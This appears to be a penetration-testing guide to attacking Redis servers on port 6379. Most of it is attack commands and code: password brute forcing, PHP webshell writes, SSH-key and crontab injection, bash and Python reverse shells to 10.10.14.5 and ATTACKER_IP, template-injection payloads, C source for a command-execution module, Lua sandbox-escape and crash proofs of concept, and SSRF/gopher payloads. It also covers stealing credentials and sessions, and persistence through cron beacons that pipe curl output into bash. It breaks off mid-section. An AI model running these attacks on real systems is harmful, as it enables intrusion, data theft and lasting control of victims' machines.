> For the complete documentation index, see [llms.txt](https://www.verylazytech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.verylazytech.com/redis-port-6379.md).

# Redis - Port 6379

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

#### What is Redis?

Redis is an **in-memory data structure store** that supports various data types including:

* **Strings** - Simple key-value pairs
* **Lists** - Ordered collections of strings
* **Sets** - Unordered collections of unique strings
* **Sorted Sets** - Sets with scores for ordering
* **Hashes** - Maps between string fields and string values
* **Bitmaps** - Bit-level operations on strings
* **HyperLogLogs** - Probabilistic data structures
* **Streams** - Append-only log data structures

#### Redis Architecture

```
┌─────────────┐         TCP/6379         ┌─────────────┐
│   Client    │ ────────────────────────>│    Redis    │
│ Application │  Plain-text Protocol     │   Server    │
└─────────────┘ <────────────────────────└─────────────┘
                   (or TLS encrypted)            │
                                                 │
                                                 V
                                          ┌─────────────┐
                                          │  In-Memory  │
                                          │   Storage   │
                                          └─────────────┘
                                                 │
                                                 V
                                          ┌─────────────┐
                                          │ Persistence │
                                          │ (Optional)  │
                                          │ RDB/AOF     │
                                          └─────────────┘
```

#### Redis Communication Protocol

Redis uses a **text-based protocol** called **RESP** (Redis Serialization Protocol). This means you can communicate with Redis using simple text commands over a TCP connection, making it easy to test with tools like `netcat` or `telnet`.

#### Default Port

**Default Port:** 6379

```
PORT     STATE SERVICE  VERSION
6379/tcp open  redis    Redis key-value store 4.0.9
```

**Note:** Redis can be configured to use TLS/SSL encryption, though this is uncommon in practice.

#### Authentication Models

Redis supports several authentication configurations:

1. **No Authentication** (default, extremely dangerous)
2. **Password Only** - Single password, username is "default"
3. **Username + Password** - ACL-based authentication (Redis 6.0+)
4. **TLS Client Certificates** - Certificate-based authentication

#### Databases in Redis

Unlike traditional databases, Redis uses **numbered databases** (0-15 by default):

* Database numbers start from **0**
* Default database is **0**
* Switch between databases using `SELECT <number>`
* Each database is logically separated

## Reconnaissance & Enumeration

### Port Scanning

**Basic Nmap Scan**

```bash
# Quick scan
nmap -p 6379 -sV <target-ip>

# Detailed scan with scripts
nmap -p 6379 -sV -sC --script redis-info <target-ip>

# Scan entire subnet
nmap -p 6379 -sV <target-subnet>/24 -oA redis-scan

# Aggressive scan
nmap -p 6379 -A <target-ip>

# Check for TLS/SSL
nmap -p 6379 --script ssl-enum-ciphers <target-ip>
```

**Sample Output:**

```
PORT     STATE SERVICE VERSION
6379/tcp open  redis   Redis key-value store 5.0.7
```

### Automated Enumeration

**Using Nmap Scripts**

```bash
# Redis info script
nmap --script redis-info -sV -p 6379 <target-ip>

# Redis brute force
nmap --script redis-brute -p 6379 <target-ip>

# Check for known vulnerabilities
nmap --script vuln -p 6379 <target-ip>
```

**Using Metasploit**

```bash
msf6 > use auxiliary/scanner/redis/redis_server
msf6 auxiliary(scanner/redis/redis_server) > set RHOSTS <target-ip>
msf6 auxiliary(scanner/redis/redis_server) > set THREADS 10
msf6 auxiliary(scanner/redis/redis_server) > run

# Example output:
# [+] 10.10.10.160:6379 - Redis 5.0.7
# [+] 10.10.10.160:6379 - No authentication required
```

### Manual Enumeration

**Using netcat**

```bash
# Connect with netcat
nc -nv <target-ip> 6379

# Try the INFO command
INFO

# If authentication is required, you'll see:
# -NOAUTH Authentication required.

# If no auth is required, you'll get detailed server info
```

**Using redis-cli**

```bash
# Install redis-tools
sudo apt-get install redis-tools

# Connect to Redis
redis-cli -h <target-ip>

# Connect with authentication
redis-cli -h <target-ip> -a <password>

# Connect with username and password (Redis 6+)
redis-cli -h <target-ip> --user <username> --pass <password>

# Connect to specific database
redis-cli -h <target-ip> -n 1

# Connect via TLS
redis-cli -h <target-ip> --tls --cert client-cert.pem --key client-key.pem --cacert ca.pem

# One-liner command execution
redis-cli -h <target-ip> INFO

# Execute command without entering interactive mode
redis-cli -h <target-ip> --raw GET mykey
```

#### Banner Grabbing

```bash
# Using netcat
echo "INFO" | nc -nv <target-ip> 6379

# Using telnet
telnet <target-ip> 6379
INFO

# Using curl (less reliable)
curl -v telnet://<target-ip>:6379

# Using ncat with SSL
ncat --ssl <target-ip> 6379
INFO
```

#### Shodan Queries

Find exposed Redis servers:

```
port:6379 redis
"redis_version"
product:Redis
port:6379 country:US
```

## Authentication Testing

#### Check Authentication Requirements

```bash
# Connect and try INFO
redis-cli -h <target-ip>

# Execute INFO command
INFO

# Response if no auth required:
# [Server information displayed]

# Response if auth required:
# -NOAUTH Authentication required.
```

#### Password Brute Force

**Using Nmap**

```bash
# Basic brute force
nmap --script redis-brute --script-args userdb=users.txt,passdb=passwords.txt -p 6379 <target-ip>

# Using default wordlists
nmap --script redis-brute -p 6379 <target-ip>
```

**Using Metasploit**

```bash
msf6 > use auxiliary/scanner/redis/redis_login
msf6 auxiliary(scanner/redis/redis_login) > set RHOSTS <target-ip>
msf6 auxiliary(scanner/redis/redis_login) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(scanner/redis/redis_login) > set STOP_ON_SUCCESS true
msf6 auxiliary(scanner/redis/redis_login) > run
```

**Using Hydra**

```bash
# Password only brute force (default username)
hydra -P /usr/share/wordlists/rockyou.txt redis://<target-ip>

# With custom password list
hydra -P passwords.txt redis://<target-ip>

# Verbose mode
hydra -V -P passwords.txt redis://<target-ip>

# Multiple threads
hydra -t 4 -P passwords.txt redis://<target-ip>

# Resume interrupted session
hydra -R

# Username + password (Redis 6+)
hydra -L users.txt -P passwords.txt redis://<target-ip>
```

**Using Custom Script**

```python
#!/usr/bin/env python3
import redis
import sys

def brute_force_redis(host, port, password_file):
    with open(password_file, 'r') as f:
        for password in f:
            password = password.strip()
            try:
                r = redis.Redis(host=host, port=port, password=password, 
                               socket_connect_timeout=2, decode_responses=True)
                r.ping()
                print(f"[+] SUCCESS! Password found: {password}")
                return password
            except redis.exceptions.AuthenticationError:
                print(f"[-] Failed: {password}")
            except redis.exceptions.ConnectionError:
                print(f"[!] Connection error with password: {password}")
            except Exception as e:
                print(f"[!] Error: {e}")
    
    print("[-] Password not found in wordlist")
    return None

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print(f"Usage: {sys.argv[0]} <host> <port> <password_file>")
        sys.exit(1)
    
    brute_force_redis(sys.argv[1], int(sys.argv[2]), sys.argv[3])
```

### Authentication

**Authenticate with Password**

```bash
# Method 1: During connection
redis-cli -h <target-ip> -a <password>

# Method 2: After connection
redis-cli -h <target-ip>
127.0.0.1:6379> AUTH <password>
+OK

# Method 3: With username and password (Redis 6+)
redis-cli -h <target-ip>
127.0.0.1:6379> AUTH <username> <password>
+OK
```

**Check Authentication Status**

```bash
# After authentication
127.0.0.1:6379> PING
PONG

# Check current user (Redis 6+)
127.0.0.1:6379> ACL WHOAMI
"default"

# List all users (requires admin)
127.0.0.1:6379> ACL LIST
```

### Enumeration (Authenticated)

#### Get Server Information

**INFO Command**

```bash
# Get all information
127.0.0.1:6379> INFO

# Get specific sections
127.0.0.1:6379> INFO server
127.0.0.1:6379> INFO clients
127.0.0.1:6379> INFO memory
127.0.0.1:6379> INFO persistence
127.0.0.1:6379> INFO stats
127.0.0.1:6379> INFO replication
127.0.0.1:6379> INFO cpu
127.0.0.1:6379> INFO keyspace
127.0.0.1:6379> INFO cluster
127.0.0.1:6379> INFO commandstats
```

**Key Information to Look For:**

```
# Redis version
redis_version:5.0.7

# Operating system
os:Linux 4.15.0-88-generic x86_64

# Process ID
process_id:1234

# Config file location
config_file:/etc/redis/redis.conf

# Working directory
dir:/var/lib/redis

# Used memory
used_memory_human:2.5M

# Number of connected clients
connected_clients:1

# Keyspace (databases in use)
db0:keys=100,expires=0,avg_ttl=0
db1:keys=50,expires=10,avg_ttl=3600000

# Replication role
role:master
```

#### Configuration Enumeration

```bash
# Get all configuration
127.0.0.1:6379> CONFIG GET *

# Get specific configuration
127.0.0.1:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"

127.0.0.1:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"

# Important configs to check
127.0.0.1:6379> CONFIG GET requirepass
127.0.0.1:6379> CONFIG GET bind
127.0.0.1:6379> CONFIG GET protected-mode
127.0.0.1:6379> CONFIG GET save
```

#### Client Enumeration

```bash
# List connected clients
127.0.0.1:6379> CLIENT LIST

# Get current client information
127.0.0.1:6379> CLIENT INFO

# Get client name
127.0.0.1:6379> CLIENT GETNAME

# Set client name
127.0.0.1:6379> CLIENT SETNAME pentester

# Kill specific client
127.0.0.1:6379> CLIENT KILL <ip:port>
```

#### Monitor Commands

**Real-time Command Monitoring**

```bash
# Monitor all commands in real-time
127.0.0.1:6379> MONITOR

# Example output:
# 1617123456.789012 [0 127.0.0.1:54321] "GET" "user:1000"
# 1617123456.890123 [0 127.0.0.1:54322] "SET" "session:abc" "data"

# Warning: MONITOR impacts performance
```

**Slow Query Log**

```bash
# Get slowest queries
127.0.0.1:6379> SLOWLOG GET 25

# Get slow log length
127.0.0.1:6379> SLOWLOG LEN

# Reset slow log
127.0.0.1:6379> SLOWLOG RESET
```

#### Database Enumeration

**List Databases**

```bash
# Check keyspace info
127.0.0.1:6379> INFO keyspace
# Keyspace
# db0:keys=4,expires=0,avg_ttl=0
# db1:keys=1,expires=0,avg_ttl=0

# Switch to database 0
127.0.0.1:6379> SELECT 0
OK

# Switch to database 1
127.0.0.1:6379> SELECT 1
OK
```

**Enumerate Keys**

```bash
# List all keys (dangerous on large databases!)
127.0.0.1:6379> KEYS *

# Safer alternative: scan with cursor
127.0.0.1:6379> SCAN 0

# Pattern matching
127.0.0.1:6379> KEYS user:*
127.0.0.1:6379> KEYS session:*
127.0.0.1:6379> KEYS *password*

# Count keys
127.0.0.1:6379> DBSIZE

# Get random key
127.0.0.1:6379> RANDOMKEY

# Check if key exists
127.0.0.1:6379> EXISTS mykey
```

**Get Key Information**

```bash
# Get key type
127.0.0.1:6379> TYPE mykey
string

# Get key TTL (time to live)
127.0.0.1:6379> TTL mykey
(integer) -1  # -1 means no expiration

# Get key in milliseconds
127.0.0.1:6379> PTTL mykey

# Get object encoding
127.0.0.1:6379> OBJECT ENCODING mykey
```

**Extract Key Values**

```bash
# For strings
127.0.0.1:6379> GET mykey

# For lists
127.0.0.1:6379> LRANGE mylist 0 -1

# For sets
127.0.0.1:6379> SMEMBERS myset

# For sorted sets
127.0.0.1:6379> ZRANGE myzset 0 -1 WITHSCORES

# For hashes
127.0.0.1:6379> HGETALL myhash
127.0.0.1:6379> HGET myhash field1

# Generic dump (for any type)
127.0.0.1:6379> DUMP mykey
```

#### Dumping the Database

**Manual Dump**

```bash
# Select database
127.0.0.1:6379> SELECT 0

# Get all keys
127.0.0.1:6379> KEYS *

# For each key, determine type and extract
127.0.0.1:6379> TYPE key1
127.0.0.1:6379> GET key1  # if string

# Script to dump all
for key in $(redis-cli -h <target-ip> KEYS '*'); do
    type=$(redis-cli -h <target-ip> TYPE $key)
    echo "Key: $key | Type: $type"
    
    case $type in
        string)
            redis-cli -h <target-ip> GET $key
            ;;
        list)
            redis-cli -h <target-ip> LRANGE $key 0 -1
            ;;
        set)
            redis-cli -h <target-ip> SMEMBERS $key
            ;;
        hash)
            redis-cli -h <target-ip> HGETALL $key
            ;;
        zset)
            redis-cli -h <target-ip> ZRANGE $key 0 -1 WITHSCORES
            ;;
    esac
done
```

**Using redis-dump (Node.js)**

```bash
# Install
npm install -g redis-dump

# Dump database
redis-dump -h <target-ip> -p 6379 > dump.json

# Dump with authentication
redis-dump -h <target-ip> -p 6379 -a <password> > dump.json

# Restore from dump
cat dump.json | redis-cli -h <target-ip> --pipe
```

**Using redis-utils (Python)**

```bash
# Install
pip install redis-utils

# Dump database
redis-utils -h <target-ip> -p 6379 dump > dump.rdb

# Dump all databases
redis-utils -h <target-ip> -p 6379 --all dump
```

**Using RDB Tools**

```bash
# Install
pip install rdbtools python-lzf

# Parse RDB file
rdb --command json dump.rdb > dump.json

# Memory analysis
rdb --command memory dump.rdb > memory.csv

# Diff two RDB files
rdb --command diff dump1.rdb dump2.rdb
```

## Exploitation Techniques

#### 1. Webshell Upload (PHP)

**Requirements:**

* Write access to web directory
* Knowledge of web root path
* PHP execution enabled

**Exploitation Steps:**

```bash
# Connect to Redis
redis-cli -h <target-ip>

# Set web directory
127.0.0.1:6379> CONFIG SET dir /var/www/html
OK

# Set database filename
127.0.0.1:6379> CONFIG SET dbfilename shell.php
OK

# Create PHP webshell
127.0.0.1:6379> SET test "<?php system($_GET['cmd']); ?>"
OK

# Save to disk
127.0.0.1:6379> SAVE
OK

# Access webshell
# http://<target-ip>/shell.php?cmd=whoami
```

**Advanced Webshell:**

```bash
# More sophisticated shell
127.0.0.1:6379> SET webshell "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; die; } ?>"
OK

127.0.0.1:6379> CONFIG SET dir /var/www/html
OK

127.0.0.1:6379> CONFIG SET dbfilename evil.php
OK

127.0.0.1:6379> SAVE
OK
```

**Common Web Root Paths:**

```bash
# Linux - Apache
/var/www/html
/var/www/html/public
/usr/share/nginx/html

# Linux - Nginx
/usr/share/nginx/html
/var/www/html

# Windows - IIS
C:\inetpub\wwwroot

# Windows - XAMPP
C:\xampp\htdocs

# macOS - Apache
/Library/WebServer/Documents
```

**Cleanup:**

```bash
# After getting shell, cleanup the database
# Backup first if needed
127.0.0.1:6379> FLUSHDB  # Clear current database
127.0.0.1:6379> CONFIG SET dbfilename dump.rdb  # Restore original name
127.0.0.1:6379> CONFIG SET dir /var/lib/redis  # Restore original path
```

#### 2. Template Engine Injection

**Requirements:**

* Write access to template directory
* Template engine that executes code (e.g., Nunjucks, Jinja2, Twig)

**Example: Nunjucks Reverse Shell**

```bash
redis-cli -h <target-ip>

# Set template directory
127.0.0.1:6379> CONFIG SET dir /var/www/app/views
OK

# Set template filename
127.0.0.1:6379> CONFIG SET dbfilename template.html
OK

# Nunjucks template injection payload
127.0.0.1:6379> SET exploit '{{ ({}).constructor.constructor("var net = global.process.mainModule.require(\"net\"), cp = global.process.mainModule.require(\"child_process\"), sh = cp.spawn(\"sh\", []); var client = new net.Socket(); client.connect(4444, \"10.10.14.5\", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); });")()}}'
OK

127.0.0.1:6379> SAVE
OK
```

**Other Template Engines:**

**Jinja2 (Python)**

```python
# Payload
{{ config.__class__.__init__.__globals__['os'].popen('nc -e /bin/bash 10.10.14.5 4444').read() }}
```

**Twig (PHP)**

```php
# Payload
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
```

**Note:** Many template engines cache templates, so you may need to:

1. Trigger a cache clear
2. Restart the application
3. DoS the application to force a restart

#### 3. SSH Key Injection

**Requirements:**

* Redis running as user with home directory
* Write access to user's .ssh directory
* SSH service enabled

**Exploitation Steps:**

```bash
# 1. Generate SSH key pair
ssh-keygen -t rsa -f redis_key

# 2. Format public key with newlines
(echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > spaced_key.txt

# 3. Import key into Redis
cat spaced_key.txt | redis-cli -h <target-ip> -x set ssh_key

# 4. Configure Redis to write to .ssh directory
redis-cli -h <target-ip>
127.0.0.1:6379> CONFIG GET dir
# Check output to find Redis user's home

127.0.0.1:6379> CONFIG SET dir /var/lib/redis/.ssh
OK

127.0.0.1:6379> CONFIG SET dbfilename authorized_keys
OK

127.0.0.1:6379> SAVE
OK

# 5. SSH into the server
ssh -i redis_key redis@<target-ip>
```

**Alternative Method (for other users):**

```bash
# Try different user home directories
redis-cli -h <target-ip>

# Test if directory is writable
127.0.0.1:6379> CONFIG SET dir /home/admin/.ssh
OK  # Success means directory exists and is writable

# Common user home directories
/home/ubuntu/.ssh
/home/admin/.ssh
/home/user/.ssh
/root/.ssh (if Redis runs as root)
```

**Automated Tool:**

```bash
# Using redis-rce-ssh
git clone https://github.com/captain-woof/redis-rce-ssh
cd redis-rce-ssh

# Brute force usernames
./redis-rce-ssh.sh -t <target-ip> -u usernames.txt

# For specific user
./redis-rce-ssh.sh -t <target-ip> -u admin -k mykey.pub
```

**Another Automated Tool:**

```bash
# Using Avinash-acid's exploit
git clone https://github.com/Avinash-acid/Redis-Server-Exploit
cd Redis-Server-Exploit

# Run exploit
python redis-exploit.py -r <target-ip> -p 6379 -l <local-ip> -a <password>
```

#### 4. Crontab Injection

**Requirements:**

* Write access to cron directories
* Cron service enabled
* Redis running as root or user with crontab

**Exploitation Steps:**

```bash
# 1. Create reverse shell payload
echo -e "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\n\n" | redis-cli -h <target-ip> -x set cronpayload

# 2. Configure Redis to write to cron directory
redis-cli -h <target-ip>

# For Ubuntu/Debian
127.0.0.1:6379> CONFIG SET dir /var/spool/cron/crontabs/
OK

127.0.0.1:6379> CONFIG SET dbfilename root
OK

# For CentOS/RHEL
127.0.0.1:6379> CONFIG SET dir /var/spool/cron/
OK

127.0.0.1:6379> CONFIG SET dbfilename root
OK

# 3. Save
127.0.0.1:6379> SAVE
OK

# 4. Start listener and wait (up to 1 minute)
nc -lvnp 4444
```

**Advanced Cron Payload:**

```bash
# Persistent backdoor that survives reboots
*/5 * * * * /bin/bash -c 'if ! pgrep -f backdoor.sh; then /tmp/backdoor.sh; fi'
@reboot /tmp/backdoor.sh
```

**Python Reverse Shell (more reliable):**

```bash
echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.5\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n" | redis-cli -h <target-ip> -x set cronpayload
```

#### 5. Redis Module Loading (RCE)

**Requirements:**

* MODULE LOAD command not disabled
* Ability to upload .so file
* Redis 4.0+

**Method 1: Using RedisModules-ExecuteCommand**

```bash
# 1. Clone and compile module
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make

# 2. Upload module (various methods)
# Via HTTP server
python3 -m http.server 8000

# On Redis server (if you have file write access)
redis-cli -h <target-ip>
127.0.0.1:6379> CONFIG SET dir /tmp
127.0.0.1:6379> CONFIG SET dbfilename module.so
# Then upload via other means (webshell, etc.)

# 3. Load module
127.0.0.1:6379> MODULE LOAD /tmp/module.so
OK

# 4. Check loaded modules
127.0.0.1:6379> MODULE LIST
1) 1) "name"
   2) "system"

# 5. Execute commands
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"

127.0.0.1:6379> system.exec "whoami"
"root\n"

# 6. Get reverse shell
127.0.0.1:6379> system.rev <attacker-ip> 4444

# 7. Unload module (cleanup)
127.0.0.1:6379> MODULE UNLOAD system
OK
```

**Method 2: Using redis-rogue-server**

```bash
# Install
git clone https://github.com/n0b0dyCN/redis-rogue-server
cd redis-rogue-server

# Get interactive shell (Redis <=5.0.5)
python3 redis-rogue-server.py --rhost <target-ip> --lhost <attacker-ip>

# Get reverse shell
python3 redis-rogue-server.py --rhost <target-ip> --lhost <attacker-ip> --rport <port>

# Execute single command
python3 redis-rogue-server.py --rhost <target-ip> --lhost <attacker-ip> --command "whoami"
```

**Creating Custom Modules:**

```c
// simple_exec.c
#include "redismodule.h"
#include <stdlib.h>

int ExecCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (argc != 2) return RedisModule_WrongArity(ctx);
    
    const char *cmd = RedisModule_StringPtrLen(argv[1], NULL);
    FILE *fp = popen(cmd, "r");
    
    if (fp == NULL) {
        RedisModule_ReplyWithError(ctx, "Failed to execute command");
        return REDISMODULE_OK;
    }
    
    char buffer[4096];
    size_t len = fread(buffer, 1, sizeof(buffer)-1, fp);
    buffer[len] = '\0';
    pclose(fp);
    
    RedisModule_ReplyWithStringBuffer(ctx, buffer, len);
    return REDISMODULE_OK;
}

int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (RedisModule_Init(ctx, "system", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
    
    if (RedisModule_CreateCommand(ctx, "system.exec", ExecCommand, "readonly", 0, 0, 0) == REDISMODULE_ERR)
        return REDISMODULE_ERR;
    
    return REDISMODULE_OK;
}
```

**Compile:**

```bash
gcc -fPIC -shared -o module.so simple_exec.c -I/path/to/redis/src
```

#### 6. Master-Slave Replication Abuse

**Concept:** Configure victim Redis as a slave of attacker-controlled master

**Setup Attack:**

```bash
# 1. On your machine, start Redis
redis-server --port 6379

# 2. On victim Redis
redis-cli -h <target-ip>

# 3. Configure as slave
127.0.0.1:6379> SLAVEOF <attacker-ip> 6379
OK

# 4. Verify replication
127.0.0.1:6379> INFO replication
# role:slave
# master_host:<attacker-ip>
# master_port:6379

# 5. On your Redis master, set keys
redis-cli -h <attacker-ip>
127.0.0.1:6379> SET key1 "value1"
127.0.0.1:6379> SET backdoor "data"

# 6. Verify on victim
redis-cli -h <target-ip>
127.0.0.1:6379> GET key1
"value1"

# 7. Use master to load module or write files
# Then replicate malicious data to victim

# 8. Cleanup: Remove replication
127.0.0.1:6379> SLAVEOF NO ONE
OK
```

**Advanced Attack: Module Loading via Replication**

```bash
# 1. Load malicious module on master
redis-cli -h <attacker-ip>
127.0.0.1:6379> MODULE LOAD /tmp/evil.so

# 2. Configure victim as slave
redis-cli -h <target-ip>
127.0.0.1:6379> SLAVEOF <attacker-ip> 6379

# 3. Module is now loaded on victim too
# 4. Execute commands via module
```

#### 7. Lua Sandbox Escape

**Background:** Redis uses Lua for scripting (EVAL command)

**CVE-2022-0543: Lua Sandbox Escape**

```bash
# Vulnerable versions: Redis 5.x, 6.x, 7.0.x < 7.0.15

# Exploit
redis-cli -h <target-ip>

127.0.0.1:6379> EVAL 'local os = require("os"); return os.execute("id")' 0

# Alternative payload
127.0.0.1:6379> EVAL 'local io = require("io"); local f = io.popen("whoami"); local output = f:read("*a"); f:close(); return output' 0

# Reverse shell
127.0.0.1:6379> EVAL 'local os = require("os"); os.execute("bash -c \"bash -i >& /dev/tcp/10.10.14.5/4444 0>&1\"")' 0
```

**Automated Exploit:**

```bash
# Clone exploit
git clone https://github.com/aodsec/CVE-2022-0543
cd CVE-2022-0543

# Run exploit
python3 exploit.py -r <target-ip> -p 6379 -c "whoami"

# Get reverse shell
python3 exploit.py -r <target-ip> -p 6379 -c "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
```

#### 8. Recent Lua CVEs (2025)

**CVE-2025-49844: GC-Triggered UAF in Lua Parser**

```bash
# Impact: Denial of Service, potential RCE
# Affected: Redis < 8.2.2, < 8.0.4, < 7.4.6, < 7.2.11, < 6.2.20

# PoC - Trigger crash via garbage collection
redis-cli -h <target-ip> EVAL "
local a = string.rep('asdf', 65536);
collectgarbage('collect');
local src = string.rep('x', 1024 * 1024);
local f = loadstring(src);
return 'done'
" 0

# This may require multiple attempts to align GC timing
```

**CVE-2025-46817: Integer Overflow in unpack**

```bash
# Impact: Memory exhaustion, DoS
# Affected: Same versions as above

# PoC - Trigger integer overflow
redis-cli -h <target-ip> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0

# Expected: Server crashes or OOM
```

**CVE-2025-46818: Metatable Poisoning**

```bash
# Impact: Cross-user code execution within Lua sandbox
# Affected: Same versions as above

# PoC - Poison string metatable
redis-cli -h <target-ip> EVAL "
getmetatable('').__index = function(_, key)
  if key == 'evil' then
    return function() return 'pwned' end
  end
end;
return ('test').evil()
" 0

# Output: "pwned"

# This allows one user to inject code that affects other users' Lua scripts
```

#### 9. SSRF to Redis

**Scenario:** You found an SSRF vulnerability that can reach internal Redis

**Basic SSRF Attack:**

```bash
# URL encode Redis commands
# Example: INFO command
http://vulnerable-app.com/fetch?url=http://127.0.0.1:6379/%0D%0AINFO%0D%0A

# Set key
http://vulnerable-app.com/fetch?url=http://127.0.0.1:6379/%0D%0ASET%20test%20value%0D%0A

# Get key
http://vulnerable-app.com/fetch?url=http://127.0.0.1:6379/%0D%0AGET%20test%0D%0A
```

**Gitlab SSRF + CRLF to RCE (CVE-2018-19571)**

```bash
# Vulnerable: Gitlab 11.4.7
# SSRF via "Import project from URL"
# CRLF injection via URL

# Payload (URL encoded):
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Cwhoami%20%7C%20nc%20ATTACKER_IP%204444%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A/ssrf.git

# Decoded Redis commands:
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open('|whoami | nc ATTACKER_IP 4444').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```

**Gopher Protocol Abuse:**

```bash
# Gopher allows sending raw TCP data
# Useful when HTTP protocol restrictions exist

# Example: Write SSH key via SSRF with Gopher
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/home/redis/.ssh%0ACONFIG%20SET%20dbfilename%20authorized_keys%0ASET%20ssh_key%20%22\n\nssh-rsa%20AAAA...\n\n%22%0ASAVE

# Steps:
# 1. URL encode the commands
# 2. Replace spaces with %20
# 3. Use CRLF (%0A) to separate commands
# 4. Prefix with gopher://host:port/_
```

**SSRF Automation Tool:**

```python
#!/usr/bin/env python3
import urllib.parse

def generate_redis_ssrf(commands):
    """Generate SSRF payload for Redis"""
    # Join commands with CRLF
    payload = "\r\n".join(commands) + "\r\n"
    
    # URL encode
    encoded = urllib.parse.quote(payload)
    
    # Generate various protocol URLs
    urls = {
        'http': f'http://127.0.0.1:6379/{encoded}',
        'gopher': f'gopher://127.0.0.1:6379/_{encoded}',
        'dict': f'dict://127.0.0.1:6379/{commands[0]}'
    }
    
    return urls

# Example usage
commands = [
    "CONFIG SET dir /var/www/html",
    "CONFIG SET dbfilename shell.php",
    "SET test '<?php system($_GET[cmd]); ?>'",
    "SAVE"
]

payloads = generate_redis_ssrf(commands)
for protocol, url in payloads.items():
    print(f"{protocol.upper()}: {url}\n")
```

## Post-Exploitation

### Data Exfiltration

**Extract Sensitive Data**

```bash
# Search for common sensitive keys
redis-cli -h <target-ip>

127.0.0.1:6379> KEYS *password*
127.0.0.1:6379> KEYS *user*
127.0.0.1:6379> KEYS *session*
127.0.0.1:6379> KEYS *token*
127.0.0.1:6379> KEYS *secret*
127.0.0.1:6379> KEYS *api*
127.0.0.1:6379> KEYS *key*

# Extract all data
for db in {0..15}; do
    echo "=== Database $db ==="
    redis-cli -h <target-ip> -n $db KEYS '*'
done > all_keys.txt
```

**Extract Session Data**

```bash
# Common session key patterns
127.0.0.1:6379> KEYS sess:*
127.0.0.1:6379> KEYS session:*
127.0.0.1:6379> KEYS PHPREDIS_SESSION:*

# Get session contents
127.0.0.1:6379> GET "session:abc123"
```

**Extract User Credentials**

```bash
# Look for user hashes
127.0.0.1:6379> KEYS user:*

# Get user data
127.0.0.1:6379> HGETALL user:1000
1) "username"
2) "admin"
3) "password"
4) "$2y$10$hashedpassword..."
5) "email"
6) "admin@example.com"
```

### Persistence

**Backdoor User Creation**

```bash
# If you have SSH access, create backdoor
redis-cli -h <target-ip>

# Write additional SSH key
127.0.0.1:6379> CONFIG GET dir
127.0.0.1:6379> CONFIG SET dir /home/redis/.ssh
127.0.0.1:6379> CONFIG SET dbfilename authorized_keys2
127.0.0.1:6379> SET backdoor "\n\nssh-rsa AAAA...\n\n"
127.0.0.1:6379> SAVE
```

**Cron Persistence**

```bash
# Persistent reverse shell every hour
*/60 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# Beacon that checks for C2
*/10 * * * * curl http://ATTACKER_IP/beacon | bash
```

**Redis Config Backdoor**

```bash
# If you can modify redis.conf
# Add to config file:
rename-command FLUSHALL ""  # Disable dangerous commands
rename-command FLUSHDB ""
rename-command CONFIG "b840fc02d524045429941cc15f59e41cb7be6c52"  # Rename to secret

# Now only you know the real command name
```

**Module Persistence**

```bash
